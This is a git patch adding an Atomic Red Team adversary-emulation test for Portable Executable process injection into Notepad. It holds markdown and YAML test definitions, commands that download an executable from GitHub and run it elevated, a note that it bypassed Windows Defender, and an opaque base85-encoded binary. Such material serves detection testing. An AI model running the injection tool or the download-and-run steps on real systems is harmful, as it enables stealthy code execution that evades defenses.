From d2562f763a8bfaa97c8aba51db55af2b5d9fdf4b Mon Sep 17 00:00:00 2001 From: Thomas Meng <44269971+thomasxmeng@users.noreply.github.com> Date: Wed, 13 Sep 2023 02:21:55 +0100 Subject: [PATCH] T1055.002 Process Injection: (Fileless) Portable Executable Injection (#2524) * Add new T1055 process injection test named dirty vanity * Fix typos * Update build.bat * Delete atomics/T1055/T1055.yaml.bak * T1055.002 Process Injection: Portable Executable Injection implemented and tested on both Windows 10 and 11. Bypassed Windows defender. A messagebox spawned with message Atomic Red Team * Update T1055.002 proc privilege level * Fix some small issues related to code compliation with different compilers in different archs * Update T1055.002.md Update documentation for T1055.002 * Update T1055.002.md Update clean up command --------- Co-authored-by: Carrie Roberts --- atomics/T1055.002/T1055.002.md | 58 +++++++ atomics/T1055.002/T1055.002.yaml | 30 ++++ atomics/T1055.002/bin/RedInjection.exe | Bin 0 -> 300852 bytes atomics/T1055.002/src/RedInjection.c | 218 +++++++++++++++++++++++++ atomics/T1055.002/src/build.bat | 1 + 5 files changed, 307 insertions(+) create mode 100644 atomics/T1055.002/T1055.002.md create mode 100644 atomics/T1055.002/T1055.002.yaml create mode 100644 atomics/T1055.002/bin/RedInjection.exe create mode 100644 atomics/T1055.002/src/RedInjection.c create mode 100644 atomics/T1055.002/src/build.bat diff --git a/atomics/T1055.002/T1055.002.md b/atomics/T1055.002/T1055.002.md new file mode 100644 index 00000000..377efd6b --- /dev/null +++ b/atomics/T1055.002/T1055.002.md @@ -0,0 +1,58 @@ +# T1055.002 - Process Injection: Portable Executable Injection +## [Description from ATT&CK](https://attack.mitre.org/techniques/T1055/002) +
Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process. + +PE injection is commonly performed by copying code (perhaps without a file on disk) into the virtual address space of the target process before invoking it via a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Ten process injection techniques: A technical survey of common and trending process injection techniques July 2017) + +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. + +## Atomic Tests + +- [Atomic Test #1 - Portable Executable Injection](#atomic-test-1---portable-executable-injection-via-c) + + +
+ +## Atomic Test #1 - Portable Executable Injection via C +This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. Upon successful execution, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. + +**Supported Platforms:** Windows + + +**auto_generated_guid:** 578025d5-faa9-4f6d-8390-aae123d503e1 + + +#### Inputs: +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| exe_binary | Output Binary | path | PathToAtomicsFolder\T1055.002\bin\RedInjection.exe| + + + +#### Attack Commands: Run with `powershell`! +```powershell +Start-Process $PathToAtomicsFolder\T1055.002\bin\RedInjection.exe +Start-Sleep -Seconds 7 +Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force +``` + +#### Cleanup Commands: +```powershell +Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force +``` + +#### Dependencies: Run with `powershell`! +##### Description: #{exe_binary} must be exist on system. +##### Check Prereq Commands: +```powershell +if (Test-Path #{exe_binary}) {exit 0} else {exit 1} +``` + +##### Get Prereq Commands: +```powershell +New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null +Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}" +``` + + +
diff --git a/atomics/T1055.002/T1055.002.yaml b/atomics/T1055.002/T1055.002.yaml new file mode 100644 index 00000000..9d2db6b2 --- /dev/null +++ b/atomics/T1055.002/T1055.002.yaml @@ -0,0 +1,30 @@ +attack_technique: T1055.002 +display_name: 'Process Injection: Portable Executable Injection' +atomic_tests: +- name: Portable Executable Injection + auto_generated_guid: 578025d5-faa9-4f6d-8390-aae739d503e1 + description: 'This test injects a portable executable into a remote Notepad process memory using Portable Executable Injection and base-address relocation techniques. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds.' + supported_platforms: + - windows + input_arguments: + exe_binary: + description: PE binary + type: path + default: PathToAtomicsFolder\T1055.002\bin\RedInjection.exe + dependency_executor_name: powershell + dependencies: + - description: | + Portable Executable to inject must exist at specified location (#{exe_binary}) + prereq_command: | + if (Test-Path #{exe_binary}) {exit 0} else {exit 1} + get_prereq_command: | + New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.002/bin/RedInjection.exe" -OutFile "#{exe_binary}" + executor: + command: |- + Start-Process $PathToAtomicsFolder\T1055.002\bin\RedInjection.exe + Start-Sleep -Seconds 7 + Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force + cleanup_command: 'Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force' + name: powershell + elevation_required: true \ No newline at end of file diff --git a/atomics/T1055.002/bin/RedInjection.exe b/atomics/T1055.002/bin/RedInjection.exe new file mode 100644 index 0000000000000000000000000000000000000000..5ca6d4026557237637c3de7906d9198fe18b6373 GIT binary patch literal 300852 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 